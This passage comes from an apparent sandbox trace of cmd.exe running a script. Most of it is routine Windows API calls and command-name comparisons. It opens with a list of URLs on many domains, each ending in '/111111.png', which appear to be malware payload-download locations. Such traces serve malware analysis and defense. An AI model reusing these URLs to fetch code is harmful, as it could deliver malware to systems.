...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0232.136] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.136] GetFileType (hFile=0x9c) returned 0x1 [0232.136] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.136] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x121b [0232.136] GetProcessHeap () returned 0x20b0f920000 [0232.136] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0232.137] GetProcessHeap () returned 0x20b0f920000 [0232.137] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0232.137] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0232.137] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0232.137] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0232.137] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0232.137] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0232.137] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0232.137] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0232.137] GetProcessHeap () returned 0x20b0f920000 [0232.137] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0232.137] GetProcessHeap () returned 0x20b0f920000 [0232.137] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0232.137] GetProcessHeap () returned 0x20b0f920000 [0232.137] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb4) returned 0x20b0f9259d0 [0232.137] _tell (_FileHandle=3) returned 4635 [0232.137] _close (_FileHandle=3) returned 0 [0232.137] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0232.137] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.137] GetFileType (hFile=0x50) returned 0x2 [0232.138] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.138] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0232.138] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.138] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0232.144] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0232.144] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0232.144] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0232.144] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.144] GetFileType (hFile=0x50) returned 0x2 [0232.144] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.145] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0232.145] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.145] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0232.145] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.145] GetFileType (hFile=0x50) returned 0x2 [0232.145] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.145] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.146] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.146] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0232.146] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 82 [0232.146] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.146] GetFileType (hFile=0x50) returned 0x2 [0232.146] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.146] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0232.147] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.147] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x52, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x52) returned 1 [0232.147] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0232.147] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.147] GetFileType (hFile=0x50) returned 0x2 [0232.147] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.147] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.148] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.148] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0232.152] malloc (_Size=0xffce) returned 0x20b0fa60940 [0232.153] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0232.153] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.153] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.153] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.153] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.153] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.153] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.153] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.153] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.153] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.153] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.153] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.153] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.153] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.153] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.153] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.153] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.153] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.153] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.154] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.154] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.154] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.154] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.154] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.154] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.154] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.154] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.154] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.154] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.154] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.154] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.154] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.154] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.154] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.154] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.154] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.154] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.154] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.154] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.154] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.154] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.154] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.154] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.154] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.154] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.154] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.155] GetProcessHeap () returned 0x20b0f920000 [0232.155] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0232.157] SetErrorMode (uMode=0x0) returned 0x0 [0232.157] SetErrorMode (uMode=0x1) returned 0x0 [0232.157] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0232.279] SetErrorMode (uMode=0x0) returned 0x1 [0232.279] GetProcessHeap () returned 0x20b0f920000 [0232.279] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0232.279] GetProcessHeap () returned 0x20b0f920000 [0232.279] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0232.279] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.279] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.279] GetProcessHeap () returned 0x20b0f920000 [0232.279] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f9476d0 [0232.279] GetProcessHeap () returned 0x20b0f920000 [0232.279] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0232.279] GetProcessHeap () returned 0x20b0f920000 [0232.279] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0232.279] GetProcessHeap () returned 0x20b0f920000 [0232.279] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0232.279] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.280] GetProcessHeap () returned 0x20b0f920000 [0232.280] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947550 [0232.280] GetProcessHeap () returned 0x20b0f920000 [0232.280] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947550, Size=0x7e) returned 0x20b0f956b50 [0232.280] GetProcessHeap () returned 0x20b0f920000 [0232.280] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956b50) returned 0x7e [0232.280] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.280] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cf70 [0232.280] FindClose (in: hFindFile=0x20b0f92cf70 | out: hFindFile=0x20b0f92cf70) returned 1 [0232.280] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.280] GetLastError () returned 0x2 [0232.280] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.281] GetLastError () returned 0x2 [0232.281] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.281] GetLastError () returned 0x2 [0232.281] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.281] GetLastError () returned 0x2 [0232.281] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.281] GetLastError () returned 0x2 [0232.281] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.281] GetLastError () returned 0x2 [0232.281] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.282] GetLastError () returned 0x2 [0232.282] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.282] GetLastError () returned 0x2 [0232.282] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.282] GetLastError () returned 0x2 [0232.282] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.282] GetLastError () returned 0x2 [0232.282] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.283] GetLastError () returned 0x2 [0232.283] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.283] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.283] GetLastError () returned 0x2 [0232.283] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.283] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cc70 [0232.283] FindClose (in: hFindFile=0x20b0f92cc70 | out: hFindFile=0x20b0f92cc70) returned 1 [0232.283] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.283] GetLastError () returned 0x2 [0232.283] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.284] GetLastError () returned 0x2 [0232.284] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.284] GetLastError () returned 0x2 [0232.284] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.284] GetLastError () returned 0x2 [0232.284] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.284] GetLastError () returned 0x2 [0232.284] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.284] GetLastError () returned 0x2 [0232.284] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.285] GetLastError () returned 0x2 [0232.285] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.285] GetLastError () returned 0x2 [0232.285] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.285] GetLastError () returned 0x2 [0232.285] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.285] GetLastError () returned 0x2 [0232.285] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.285] GetLastError () returned 0x2 [0232.285] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.285] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.286] GetLastError () returned 0x2 [0232.286] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.286] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.286] GetLastError () returned 0x2 [0232.286] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.286] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.286] GetLastError () returned 0x2 [0232.286] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.286] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.286] GetLastError () returned 0x2 [0232.287] ??_V@YAXPEAX@Z () returned 0x1 [0232.287] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0232.289] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.289] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.290] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.290] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.290] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.290] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.290] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.290] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.290] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.290] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.290] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.290] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.290] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.290] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.290] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.290] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.290] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.290] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.290] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.290] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.291] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.291] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.291] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.291] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.291] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.291] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.291] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.291] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.291] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.291] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.291] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.291] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.291] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.291] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.291] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.291] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.291] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.291] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.291] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.291] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.291] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.291] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.291] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.291] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.291] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.291] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.291] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.291] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.291] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.291] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.291] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.291] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.291] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.291] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.291] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.291] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.292] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.292] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.292] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.292] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.292] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.292] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.292] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.292] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.292] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.292] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.292] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.292] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.292] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.292] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.292] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.292] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.292] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.292] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.292] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.292] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.292] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.292] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.292] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.292] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.292] _wcsicmp (_String1="Windows", 